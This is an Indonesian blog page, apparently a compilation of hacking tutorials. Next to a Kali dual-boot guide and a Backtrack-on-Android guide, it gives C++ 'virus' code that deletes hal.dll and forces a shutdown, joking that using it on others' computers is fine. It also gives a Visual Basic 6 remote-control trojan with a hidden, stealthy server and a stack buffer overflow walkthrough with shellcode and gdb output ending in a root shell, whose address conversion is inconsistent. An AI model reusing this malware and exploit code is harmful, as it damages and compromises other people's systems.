Kamis, 20 Februari 2014

Dual Boot Kali Linux dengan Windows

Menginstall Kali Linux didalam instalasi Windows bisa sangat berguna. Namun, Anda perlu berhati-hati selama proses setup. Pertama, pastikan Anda telah melakukan backup data penting pada instalasi Windows Anda. Karena Anda akan memodifikasi hardisk Anda, Anda akan menyimpan backup ini pada media eksternal. Setelah Anda selesai backup, kami sarankan Anda membaca dengan teliti Kali Linux Hard Disk Install, yang menjelaskan prosedur normal untuk dasar installasi Kali Linux.
Dalam contoh, kita akan menginstal Kali Linux didalam instalasi Windows 7, yang saat ini menggunakan 100% dari ruang disk di komputer kita. Kita akan mulai dengan mengubah ukuran partisi Windows kita saat ini untuk menempati sedikit space dan kemudian lanjutkan untuk menginstal Kali Linux di partisi kosong yang baru dibuat.
Download Kali Linux dan burn ISO ke DVD, atau menyiapkan USB flashdisk dengan Kali Linux Live sebagai media instalasi. Jika Anda tidak memiliki DVD atau port USB pada komputer Anda, silahkan pelajari Kali Linux Network Install. Pastikan Anda memiliki:
  • Minimal 8 GB space kosong hardisk pada Windows
  • Support boot CD-DVD / USB

Persiapan Installasi

  1. Download Kali Linux.
  2. Burn ISO Kali Linux ke DVD atau copy Kali Linux Live ke USB.
  3. Pastikan komputer Anda sudah diatur untuk boot dari CD / USB di BIOS.

Prosedur Installasi Dual Boot

  1. Untuk memulai instalasi, boot dengan media instalasi yang Anda pilih. Anda akan disambut dengan layar Kali Boot. Pilih Live, dan Anda akan di boot ke dalam desktop default Kali Linux.
  2. Sekarang jalankan program gparted. Kita akan menggunakan gparted untuk mengecilkan partisi Windows yang ada untuk memberikan space yang cukup untuk menginstal Kali Linux.
    dual-boot-kali-01
  3. Pilih partisi Windows Anda. Tergantung pada sistem Anda, biasanya akan menjadi kedua, partisi yang lebih besar. Dalam contoh, ada dua partisi; yang pertama adalah partisi System Recovery, dan Windows sebenarnya diinstal di / dev/sda2. Resize partisi Windows Anda dan sisakan space yang cukup (minimal 8GB) untuk instalasi Kali Linux.
    dual-boot-kali-03
  4. Setelah Anda merubah ukuran partisi Windows Anda, pastikan Anda “Apply All Operations” pada hard disk. Keluar dari program gparted dan reboot.
    dual-boot-kali-05

Prosedur Installasi Kali Linux

  1. Prosedur instalasi dari poin ini dan seterusnya mirip dengan Kali Linux Hard Disk install, hingga poin partisi, dimana Anda perlu memilih “Guided – use the largest continuous free space” yang Anda buat sebelumnya dengan gparted.
    dual-boot-kali-09
  2. Setelah instalasi selesai, reboot. Anda akan diperlihatkan dengan menu boot GRUB, yang akan memungkinkan Anda untuk boot ke Kali Linux atau Windows. 
    dual-boot-kali-11

Setelah Installasi

Sekarang Anda telah selesai menginstal Kali Linux, saatnya untuk melakukan kustomisasi sistem anda. Kali General Use adalah bagian dari situs kami yang memiliki informasi lebih lanjut dan Anda juga dapat menemukan tips tentang cara untuk memaksimalkan Kali Linux di Forum pengguna Kali Linux.

MEMBUAT VIRUS DENGAN C++

Masukan Kode Dibawah ini

Code:

#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove(”C:\\windows\\system32\\hal.dll”); //PWNAGE TIME
system(”shutdown -s -r”);
system(”PAUSE”);
return EXIT_SUCCESS;
}

3.program/ato virus ini bakal ngapuz filoe c: jadi jangan di coba di ecsekusi sembarangan
4.Don’t try this at your komputer(di komputer orang boleh).he2
6.teknik yang lebih adavance lagi
7.copy paste lagi script di bawah ne,
Code:

#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove(”%systemroot%\\system32\\hal.dll”); //PWNAGE TIME
system(”shutdown -s -r”);
system(”PAUSE”);
return EXIT_SUCCESS;
}

8.perbdaan kode yg pertaman ini terlatak pada proses pencarian direktori system secara otomatis(jdi klo yg pertama klo mw ngapus file hal.dll,filenya haruz di c:,klo yg ini otomatis nyari)

Virus Trojan Horse Dengan Visual Basic 6.0

Virus trojan merupakan virus yang merepotkan dan berbahaya karena itu para hacker biasanya mengunakanya untuk keperluan hacking komputer , tapi pada kesempatan kali ini saya akan mengupasnya sedikit, Tapi jangan di salah gunakan lo ini hanya sekeda untuk pembelajaran aja kq.
Pada pembuatan Trojan Horse ini (TH) ada beberapa step yang perlu kita perhatikan antara lain:

  1. Tahap Persiapan
  2. Tahap Pengerjaan
a). Client
è Interface
è Coding : Conection, Half-Execution, Error Handler, dll..+ debug
b). Server
è Coding : Open Gate, Execution, Stealth, dll.
3.  Tahap Akhir
Sekarang marilah kita mulai untuk membuat proyek kita ini. Disarankan sebelum kita memulai untuk melaksanakan suatu pekerjaan ada baiknya kita berdoa terlebih dahulu agar apapun yang kita kerjakan mendapat berkah dari Tuhan YME. Amin…..!!!!!!
1. TAHAP PERSIAPAN
Pada tahap ini yang pertama harus kita lakukan adalah membuka aplikasi Visual Basic. Setelah itu pada jendela New Project pilih Standard EXE seperti pada gambar.

Setelah itu akan tampil satu form kosong, dan tampilan default lainya.
Untuk membuat proyek ini kita tidak bisa  menggunakan tools (control) sederhana yang ditampilkan pada Toolbox. Kita memerlukan satu control tambahan yang harus kita load ke dalam Toolbar/Toolbox. Control yang kita maksud disini adalah MS WINSOCK control.
Untuk mengaktikan (memanggil) control ini kita pilih Project > Components pada Menubar. Maka akan tampil jendela component seperti pada gambar:

Lalu kita pilih Microsoft Winsock Control 6.0 dengan memberi tanda centang pada checkbox disisi kirinya (spt pada gbr). Maka pada toolbar akan tampil satu control tambahan ber-icon dua computer yang terhubung oleh garis merah seperti pada gambar berikut.

Gambar ini menandakan bahwa ms winsock control berhasil kita load ke dalam toolbar dan siap di gunakan.
Dengan tampilnya icon contol tersebut berarti persiapan kita untuk membuat proyek ini telah selesai. Maka kita akan lanjutkan ketahap berikutnya. Yaitu tahap pengerjaan.
2. TAHAP PENGERJAAN
Seperti yang sudah kita ketahui sebelumnya, umumnya program TH terdiri dari dua unit program yaitu : CLIENT dan SERVER. Saya akan coba jelaskan sedikit maksud dari kedua program ini.
Program CLIENT ialah program yang akan kita gunakan sebagai sarana pengendali (remote) dari program SERVER. Dengan kata lain program ini lah yang akan kita gunakan untuk mengeksekusi computer korban (victim) dengan bantuan SERVER yang ditanamkan pada victim.
Sedangkan program SERVER ialah program yang akan kita tanamkan pada victim dengan tujuan mengeksekusi victim itu sendiri berdasarkan instruksi yang dikirimkan oleh program CLIENT. Bingung??!!!…Sukuriiinnn…!!!!
Okey..marilah kita mulai tahap ini dengan membuat program CLIENT terlebih dahulu. Kenapa?? Karena untuk membuat program ini tidaklah terlalu sulit. OK..marilah…ehm…
Program CLIENT
Pada program ini kita akan membuat dua “Fun Menu” yaitu : Open/Close CD ROM dan Send Message.
Sekilas Info:
Sebenarnya masih banyak “Fun Menu” lain yang dapat kita tambahkan, tapi pada pembahasan kali ini  kita persingkat saja karena akan memakan banyak halaman untuk menjelaskannya. Oleh karena itu pembahasan “Fun Menu” lebih lanjut  akan saya buat pada artikel selanjutnya (“Membuat TH dengan VB6 seri 2). Untuk release artikel ke-2, tergantung dari banyaknya respon yang mendukung yang saya terima melalui e-mail di xpartacvs@gmail.com 
Interface
Dalam hal ini yang kita perlukan ialah 5 command button, 2 textbox, 1 label, dan 1 winsock control. Atur sedemikian rupa sesuai selera anda pada form.

rename tiap nama control menjadi seperti dibawah ini :
Command1     – cmdConnect                      Label1       - lblStatus
Command2     – cmdDisconnect                  Text1        – txtIP 
Command3     – cmdOpen                           Text2        – txtMsg 
Command4     – cmdClose                           Winsock1 – tcpClient 
Command5     – cmdMsg

Jangan lupa Caption dan Text pada control.
Coding
Ok saatnya coding…..
Klik ganda pada tombol Connect, lalu masukan code berikut pada jendela code:
Private Sub cmdConnect_Click()
On Error Resume Next
cmdConnect.Enabled = False
lblStatus.Caption = “Connecting..”
If txtIP.Text = “” or Then
MsgBox “Please enter a valid IP adress”, vbCritical
End If
tcpClient.Connect txtIP.Text, 6666
End Sub
Maksud dari script diatas ialah:
computer akan mematikan tombol connect. Lalu computer akan memberikan keterangan “connecting….” pada label status untuk memberikan keterangan pada anda bahwa saat ini anda sedang berusaha untuk melakukan koneksi ke computer Korban. Setelah itu computer akan mengecek apakan anda sudah mengisi IP Address atau belum. Jika belum  maka akan tampil msgbox jika sudah maka computer akan mencoba koneksi ke nomor IP yang anda masukan pada txtIP dengan nomor port 6666 (nomor port bisa diisi berapa saja, umumnya terdiri dari empat digit). 

Peringatan :
Perhatikan dan ingat nomor port yang anda masukan, karena akan kita gunakan untuk program SERVER.
Klik ganda pada tombol disconnect dan masukan code berikut:
Private Sub cmdDisconnect_Click()
On Error Resume Next
LblStatus.Caption = “Not Connected”
cmdDisconnect.Enabled = False
cmdConnect.Enabled = True
tcpClient.Close
End Sub




Maksud dari script diatas ialah:
Computer akan memberi keterangan “Not Connected” pada label status untuk menginformasikan bahwa tidak ada koneksi yang sedang berjalan saat ini. Lalu Komputer akan mematikan tombol Disconnect dan menghidupkan kembali tombol Connect. Lalu computer akan memutuskan hubungan dengan Server.
Klik ganda pada Winsock dan pilih pada menu event  “Connect”. (spt pada gbr):

Lalu tambahkan kode berikut:
Private Sub tcpClient_Connect()
lblStatus.Caption = “Connected”
End Sub
Keterangan “Connected pada label status hanya akan tampil setelah SERVER merespon.
Half-Execution
Mungkin anda bertanya kenapa saya menyebutnya Half-Execution. Alasanya ialah karena pada program CLIENT ini Eksekusi yang kita inginkan belumlah dapat di jalankan tanpa bantuan SERVER. Prinsip kerja program CLIENT dalam melaksanakan eksekusi ialah hanya sebagai “Commander” atau pemberi instruksi.
Maksudnya disini  program CLIENT akan mengirimkan data berupa ‘string’ kepada program SERVER yang nantinya akan diolah (diterjemahakan) oleh program SERVER sebagai suatu perintah untuk melaksanakan eksekusi. Ok..mari kita mulai….
Klik ganda pada tombol Open cd-rom lalu tambahkan kode berikut:
Private Sub cmdOpen_Click()
tcpClient.SendData “opn”   ‘Mengirimkan string ke server
End Sub
Klik ganda pada tombol Close cd-rom lalu tamahkan kode berikut:
Private Sub cmdClose_Click()
tcpClient.SendData “cls”  ‘Mengirimkan string ke server
End Sub
Klik ganda pada tombol Send message dan tambahkan kode berikut:
Private Sub cmdMsg_Click()
tcpClient.SendData “msg” & txtMsg   ‘Mengirim string ke server beserta isi txtbox
End Sub
Selamat Program CLIENT sudah selesai…….!!!!
Debug Client
Program CLIENT yang baru kita buat diatas belumlah sempurna. Saya yakin masih banyak terdapat bug pada program tersebut. Oleh karena itu marilah kita mencoba untuk menyempurnakanya.

  1. Tombol Disconnect
Pada object ini yang pertama yang harus kita perhatikan ialah Property dari tombol ini. Saat Program dijalankan pertama kali sebaiknya tombol ini berada pada keadaan ‘disabled’ (mati). Karena seperti yang sudah kita ketahui sebelumnya fungsi dari tombol ini adalah memutuskan Koneksi ke Server.
Pada saat kita menjalankan program ini tentu saja belum ada koneksi sama sekali terhadap SERVER, oleh karena itu ada baiknya kita mematikan tombol ini dengan merubah property cmdDisconnect.Enabled manjadi false pada jendela property.

  1. On Error Resume Next
Ada baiknya sebelum mengetikan code pada badan sub, kita awali dengan mengetikan On Error Resume Next agar ketika terjadi kesalahan program kita tidak mengeluarkan pesan error dan tidak keluar dari program.
Program SERVER
Setelah program CLIENT selesai kita buat sekarang saatnya kita membuat program Executor yang sebenarnya yaitu program SERVER. Apakah program CLIENT anda masih terbuka? Sebaiknya iya agar kita lebih mudah dalam mengerjakan pogram SERVER.
Pertama jalankan kembali aplikasi visual basic seperti biasa dan pilih Standard EXE maka akan tampil tampilan default beserta tetek bengeknya…. Pada program SERVER ini kita hanya membutuhkan satu control yaitu MS WINSOCK CONTROL. Letakan satu winsock kedalam form dan beri nama tcpServer Bila belum tersedia pada toolbar, load kembali seperti pada pembahasan sebelumnya.. Dan jangan lupa mengganti nama form menjadi frmServer, jangan lupa juga untuk menguah property Visible-nya menjadi false.

Open Gate
Kita akan mulai dari terhnik termudah dulu yaitu Open Gate. Mari kita Mulai……
Klik ganda pada form lalu masukan kode berikut:
Private Sub Form_Load()
On Error Resume Next
tcpServer.LocalPort = 6666
tcpServer.Listen
End Sub
Maksud dari script diatas:
Pertama winsock (tcpServer) akan mengecek pada port yang kita masukan yaitu 6666 (nomor port yang sama dengan program CLIENT). Setelah itu winsock akan membuka port tersebut dengan perintah Listen. Tujuannya ialah : agar program CLIENT yang mencoba untuk Connect ke computer korban dapat masuk melaliu port yang telah kita buka yaitu port 6666.
Sekarang kita akan memberi kode pada winsock jadi Klikganda pada winsock control dan pilih “connection request” pada combobox  event ( kalau kurang jelas lihat pembahasan pada program CLIENT)
Tambahkan kode berikut:
Private Sub tcpServer_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
tcpServer.Close
tcpServer.Accept requestID
End Sub
Maksud dari script diatas:
Pertama winsock akan menutup koneksi untuk menghindari terjadinya error, lalu ia akan menerima semua request yang masuk ( request dari program CLIENT).
Masih pada winsock,     pilih “error” pada combobox event dan beri kode berikut:
Private Sub tcpServer_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
On Error Resume Next
Do While tcpServer.State <> sckClosed
tcpServer.Close
loop
tcpServer.Listen
End Sub
Maksud dari script diatas:
Saat terjadi error pada koneksi, winsock akan segera menutup koneksi setelah itu ia akan membuka kembali port agar bisa dihubungi kembali oleh server.
Waw…untuk membuka pertahanan victim cukup panjang bukan? Sekarang marilah kita melangkah ke tahap berikutnya yaitu melakukan infeksi kedalam computer korban.

Execution
Sekarang saatnya kita buat program pengeksekusi yang sebenarnya. Sebelum kita masuk kebagian utama, pertama-tama tambahkan sebuah module kosong. Pilih Project “diatas layar” dan pilih add module. Lalu buka modul kosong tsb.
Untuk membuka atau menutup CD-ROM kita perlu menggunakan fungsi API pada windows. Oleh karma itu kita perlu API viewer.
Klik pada add-ins lalu klik API Viewer. Jika anda tidak melihatnya pada daftar maka klik Add-In Manager lalu pilih kemudian tekan “OK”. Saat kamu membuka API Viewer, kamu akan melihat jendela baru. Klik File lalu pilihload textfile dan pilih WIN32API.txt truss buka dech.


Load WIN32API.txt file


Pada mciSendString seperti yang ditunjukan oleh gambar, set Declaration Scope menjadi Public lalu tambahkan pada module. Tekan Insert untuk menambahkanya secara otomatis
Sekarang kita siap untuk memberi kode pada Open / Close cd-rom. Kembali ke form dan Klik ganda pada winsock dan pilih “DataArrival” pada procedure window lalu tambahkan kode beriktu:
Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long)
Dim varData As String
Dim strData As String
tcpServer.GetData strData, vbString
varData = Right(strData, Len(strData) – 3)
Select Case Cstr(strdata)
Case “opn”
mciSendString “Set CDAudio Door Open”, vbNullString, 0, 0
Case “cls”
mciSendString “Set CDAudio Door Closed”, vbNullString, 0, 0
Case “msg”
MsgBox varData, vbInformation, “Information”
End Select
End Sub
Maksud dari script diatas:
Saat data diterima, pertama program akan mendeklarasikan vardata dan strdata sebagai string dengan strdata sebagai penampung data yang masuk. Sedangkan vardata ialah data bawaan yang tidak diproses sebagai perintah ( pesan pada msgbox ). Setelah itu program akan mengambil data yang masuk dengan mengkonversinya terlebih dahulu menjadi string, jika tidak data yang masuk akan bertipe byte. Lalu program akan menyeleksi data yang masuk apakah data bernilai opn, cls, atau msg. jika data bernilai opn maka akan dilakukan perintah pembukaan CD-ROOM, jika data adalah cls maka akan dilakukan perintah penutupn CD-ROOM, dan jika data bernilai msg maka akan ditampilkan msgbox berisi pesan yang ditampung pada variael vardata.

Stealth
Untuk lebih memperpanjang umur program Trojan kita, ada baiknya kita buat program kita seolah tidak terlihat. Caranya ialah menghilangkan program dari task manager. Untuk melakukanya : Tambahkan script berikut pada sub Form_Load sehingga menjadi :
Private Sub Form_Load()
On Error Resume Next
tcpServer.LocalPort = 6666
tcpServer.Listen
App.TaskVisible = False
End Sub
3. TAHAP AKHIR
Pada tahap akhir ini saya tidak akan menjelaskan apa-apa, pada tahap ini anda tinggal mengkompile program2 yang telah dibuat tersebut dan mungkin mengadakan sedikit pengetesan dan debugging.
PENUTUP
Sebelumnya saya ucapkan terimakasih pada semua yang telah mendukung dalam penyusunan artikel ini. Selain itu saya juga mohon maaf apa bila ada kekurangan dan ketidak sempurnaan pada bahasan ini. Karena sebagai manusia saya tidak akan luput dari kesalahan. Saya juga mohon maaf yang sebesar-besarnya apabila rekan-rekan sekalian ada yang tidak menyukai artikel yang saya tulis. Artikel ini semata-mata saya buat tidak lain ialah hanya untuk Pembelajaran aja. Karena saya sadar “Diatas langit masih ada langit” jadi saya sangat mengharapkan saran dan kritik dari rekan-rekan sekalian demi kemajuan ilmu pengetahuan. Wassalam…
TAMBAHAN : 
Trojan ini masih jinak.. artinya belum melakukan infeksi sehingga masih aman untuk tahap percobaan

Linux Buffer Overflow Tutorial

Konten  :
1. Pendahuluan
2. Konsep exploitasi
3. Attack vector
 3.1. NOP
 3.2. NOPSLED
 3.3. PAYLOAD
4. Special thanks

-- Pendahuluan
Setelah saya banyak melakukan penelitian pada kernel linux yang baru - baru ini , 
terutama kernel 2.6.8 ke atas memang tidak mungkin untuk mempraktikan teknik exploitasi buffer overflow dengan cara lama . 
maka dari itu saya menulis tutorial ini agar kita bisa mempraktikan "apa itu sebenarnya buffer overflow ?" 
pada kernel 2.6.8 ke atas karena kita mendapatkan kernel terbaru pada operting system pada saat ini. 
dengan tutorial ini, saya akan menjelaskan secara terperinci menjelaskan teknik exploitasi buffer overflow.

-- Konsep Exploitasi buffer overflow
ok, sekarang kita lanjut saja ke topik utama. sekarang kita harus membuat program yang vulnerable terhadap serangan buffer overflow. 


---------------------bof.c--------------------------
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
        char buffer[400];
        strcpy(buffer, argv[1]);

        return 0;
}
---------------------EOF-----------------------------


kita save dengan nama bof.c . 
kita lihat pada source berikut itu bahwa adanya fungsi strcpy() .
fungsi strcpy() sangat berbahaya karena tidak adanya pengecekan filter panjang data yang akan kita input. 
ok, sekarang saatnya kita mematikan randomize_va_space memory tujuannya agar kita mudah mengalokasikan memory.
dengan cara seperti berikut.

root@bt:~# cat /proc/sys/kernel/randomize_va_space
2
root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@bt:~# cat /proc/sys/kernel/randomize_va_space
0
root@bt:~#

sekarang saatnya kita meng - compile program tersebut. 
perhatian : pada saat mengompile tambahkan opsi -fno-stack-protector dan -mpreferred-stack-boundary=2.
berikut caranya

root@bt:~# gcc -g -o bof -fno-stack-protector -mpreferred-stack-boundary=2 bof.c

sekarang saatnya kita mencari panjang string agar program si program mengalami crash.

root@bt:~# ./bof `perl -e 'print "A" x 400'`
root@bt:~# ./bof `perl -e 'print "A" x 403'`

seperti yang kita lihat, data tercopy kedalam buffer dan program exit secara normal. 
dimana kita mengkopikan huruf "A" 400 - 403 bytes kedalam buffer.
 
root@bt:~# ./bof `perl -e 'print "A" x 404'`
Segmentation fault
root@bt:~# 

disitu kita tahu kita membutuhkan 404 panjang string agar si program mengalami crash .
lalu kemudian sekarang yang kita lakukan adalah kita mencari panjang string agar register EIP teroverwrite pada inputan kita.
EIP adalah poin awal dimana instruksi selanjutnya akan tereksekusi, maka jika EIP tersebut kita teroverwrite, kita bisa melakukan apa yang kita mau eksekusi pada saat itu.
sekarang, saatnya kita gunakan GNU debugger atau biasa disebut gdb.
perhatikan pada experiment berikut.

root@bt:~# gdb -q bof
(gdb) list
1       #include <stdio.h>
2       #include <string.h>
3
4       int main(int argc, char** argv)
5       {
6               char buffer[400];
7               strcpy(buffer, argv[1]);
8
9               return 0;
10      }
(gdb) run `perl -e 'print "A" x 404'`
Starting program: /root/bof `perl -e 'print "A" x 404'`

Program received signal SIGSEGV, Segmentation fault.
0xb7e86606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) run `perl -e 'print "A" x 405'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 405'`

Program received signal SIGSEGV, Segmentation fault.
0xb7e800a9 in ?? () from /lib/tls/i686/cmov/libc.so.6
(gdb)

hmmm terlihat bahwa kita belum mengoverwritenya kita coba lagi tambahkan 1 string

(gdb) run `perl -e 'print "A" x 406'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 406'`

Program received signal SIGSEGV, Segmentation fault.
0xb7004141 in ?? ()
(gdb)

ok, disitu sekarang sudah terlihat kita sedikit lagi mengoverwrite total eip. 
perhatikan -> 0xb7004141 
disitu ada 4141 , 41 adalah huruf "A" dalam bilangan hexadesimal . namun kita perlu mengoverwrite total address EIP tersebut.

(gdb) run `perl -e 'print "A" x 407'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 407'`

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb)

sedikit lagi...

(gdb) run `perl -e 'print "A" x 408'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 408'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

disitu terlihat bahwa kita telah mengoverwrite total register EIP.
perhatikan -> 0x41414141
kita sudah berhasil mengoverwritenya dengan huruf "A" dengan panjang string 408.

(gdb) i r
eax            0x0      0
ecx            0xbffff0b7       -1073745737
edx            0x199    409
ebx            0xb7fc9ff4       -1208180748
esp            0xbffff250       0xbffff250
ebp            0x41414141       0x41414141
esi            0x8048400        134513664
edi            0x8048310        134513424
eip            0x41414141       0x41414141 <-- ter overwrite !!
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)

sekarang yang perlu kita lakukan adalah dimana keberadaan register ESP (stack pointer).

(gdb) list 1
1       #include <stdio.h>
2       #include <string.h>
3
4       int main(int argc, char** argv)
5       {
6               char buffer[400];
7               strcpy(buffer, argv[1]);
8
9               return 0;
10      }
(gdb) b 7
Breakpoint 1 at 0x80483cd: file bof.c, line 7.
(gdb)

perlu diperhatikan kita perlu menggunakan dimana fungsi vulnerable strcpy() sebagai breakpoint untuk mengetahui dimana keberadaan register ESP.


(gdb) run test to see where esp is
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof test to see where esp is

Breakpoint 1, main (argc=7, argv=0xbffff434) at bof.c:7
7               strcpy(buffer, argv[1]);
(gdb) i r esp
esp            0xbffff210       0xbffff210
(gdb) 

esp terletak pada address 0xbffff210

-- Attack vector
ok sekarang bagian pengexploitasinya. kita butuh membuat attack vector untuk pengexploitasiannya.
sekarang yang perlu dimengerti apa itu NOP , NOPSLED, PAYLOAD.

- NOP 
pertama saya akan menjelaskan apa itu NOP.
NOP dalam bahasa assembly adalah no-op atau no operation sampai instruksi selanjutnya tereksekusi. 
dengan kata lain NOP adalah bagian yang dilewati sampai instruksi yang benar2 tereksekusi.
disini kita pakai NOP untuk melancarkan attack sampai bertemu instruksi yang kita inginkan. 
NOP dalam bentuk opcode adalah "90" atau "\x90" dalam bentuk shellcode.

- NOPSLED
kedua saya akan menjelaskan apa itu NOPSLED. NOPSLED adalah serentetan yang terdiri dari NOP sampai beberapa bytes.
contoh seperti `perl -e 'print "\x90" x 40'`. maka kita akan mendapatkan "x90" sampai 40 bytes (40 kali).

- PAYLOAD
ketiga saya menjelaskan apa itu PAYLOAD. PAYLOAD adalah serentetan kode yang akan kita eksekusikan. 
shellcode adalah sebagai PAYLOAD nya

selanjutnya kita akan memeriksa dimana NOPSLED akan di tempatkan. 
kita ulangi address tersebut sampai register EIP teroverwrite. 
dan akhirnya memaksa program untuk melanjutkan eksekusi pada alamat NOP.
lalu kita ambil alamat pada register ESP dan kurangi register tersebut. sebut saja bilangan itu 300.

root@bt:~# printf "%x\n" $((0xbffff210-300))
bffff0e4
root@bt:~#

alamat tersebut akan menempatkan kita pada NOPSLED. 
sekarang yang kita butuhkan adalah mengkonversi alamat tersebut pada bentuk little endian.
-> e4f0ffbf
lalu kita jadikan ke bentuk shellcode.
-> \x04\xf1\xff\xbf

sekarang saatnya kita menghitung berapa kali alamat tersebut harus di ulang.
kita tahu bahwa untuk mengoverwrite register EIP kita membutuhkan 408 bytes.
root@bt:~# print "%d\n" $((408 - 
kita kurangi dengan panjang NOPSLED kita. panjang NOPSLED kita adalah 200 bytes
root@bt:~# print "%d\n" $((408 - 200

shellcode yang akan kita gunakan shellcode yang akan memberikan shell. kita bisa pakai shellcode berikut :

"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"

shellcode tersebut berukuran 28 bytes.
dan kurangi 28 bytes untuk shellcode kita.
root@bt:~# printf "%d\n" $((408 - 200 - 28))
180
root@bt:~#

jadi kita 180 bytes untuk mengulangi alamat tersebut.
karena address memiliki panjang 4 bytes. kita harus membaginya dengan 4.

root@bt:~# printf "%d\n" $((180/4))
45
root@bt:~#

ok kita telah dapatkan berapa kali yang kita butuhkan untuk mengoverwrite EIP. yaitu 45.

maka payload kita akan seperti berikut :

NOPSLED + SHELLCODE + ESP

`perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'`

sekarang saatnya kita run paload kita tersebut langsung saja di debugger.

(gdb) run `perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'`
Starting program: /root/bof `perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'`

Breakpoint 1, main (argc=2, argv=0xbffff2d4) at bof.c:7
7               strcpy(buffer, argv[1]);
(gdb) continue
Continuing.
Executing new program: /bin/bash
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-3.2# echo WIN.
WIN.
sh-3.2# exit

Program exited normally.
(gdb) quit
root@bt:~#

selamat ! anda telah sukses mengexploitasi buffer overflow !
video berisi contoh yang baik dari serangan buffer overflow dengan menggunakan eksploitasi. 



Tutorial Install Backtrack di Android

Selamat siang agan2/sist. 
kali ini ane akan menjelaskan tutorial installasi OS Backtrack di Android. ngomong ngomong udah pada tau bakctrack itu apa?. oke ane jelasin dikit Backtrack adalah salah satu distro linux yang merupakan turunan dari ubuntu yang mana merupakan merger dari whax dan auditor security collection. Jadi OS ini untuk menguji scurity n yang jelas tentang hack2 system ex. hack wifi dll. langsung aje nih daripada banyak cing cong. sedot bahan2 nya dibawah.. cekidoottt!!

SOURCE :
BACKTRACK Source
UBUNTU : Source
WINDOWS XP : Source

Dikarnakan ane baru nyoba install Backtrack 5 jadi tutsnya cuma buat Backtrack aja yak. kalo yang lain ya silahkan experimen sendiri, tapi diluar tanggung jawab ane ya gan:ngakak

Spek Min :
Resolusi min HDPI
Prosesor min 1Ghz
RAM min 512MB
Free Memory 4GB

Langsung aja bahan-bahannya :
Backtrack 5 for ARM
Part 1 - BackTrack5ForARMDOWNLOAD
Part 2 - BackTrack5ForARMDOWNLOAD
Part 3 - BackTrack5ForARMDOWNLOAD

Android VNCDOWNLOAD
Terminal Emulator:  DOWNLOAD
BusyBoxDOWNLOAD

Step by Step
1. Satukan file pakai HJSPLIT download Disini OS Bactracknya.
2. Extrack pakai 7z atau WinRAR.
3. Masukan folder bt5 ke sdcard HP kamu.
4. Buka Terminal Emulator
5. Ketik SU [enter]
6. Ketik cd /sdcard/bt5 [enter] atau cd sdcard [enter] cd bt5 [enter]
7. Ketik sh bt [enter]

8. Jika sudah keluar root@localhost# (pokoknya warna tulisannya merah) berarti sudah berhasil ini udah masuk text mode. Minimize Terminal Emulator tadi jangan sampai ke Close.

9. Cara masuk GUI. Buka Android VNC. Lalu isi.

Nickname: root
Password: root
Address: 127.0.0.1
Port: 5901
Warna ganti jadi 24bit aja.

10. Lalu klik CONNECT
11. Tara sudah berhasil masuk GUI Mode.
12. Cara mainnya harus di touch abaikan cursor :D

Tambahan
How to change default resolution:
Start up the BT5 image.
Make sure vnc server is not running by typing stopvnc.
In terminal emulator, type in: vi /usr/bin/startvnc
Change the resolution (800x480 default) to whatever you prefer. The Galaxy Nexus's native res is 1280x720.

Some helpful vi commands:
Vol Up + S = Down
Vol Up + W = Up
Vol Up + A = Left
Vol Up + D = Right
Vol Up + E = Esc (exit to browsing mode)
= Enter's "Insert" mode which allows the file to be edited.
:q! = exit without saving (must be typed in while in browse mode)
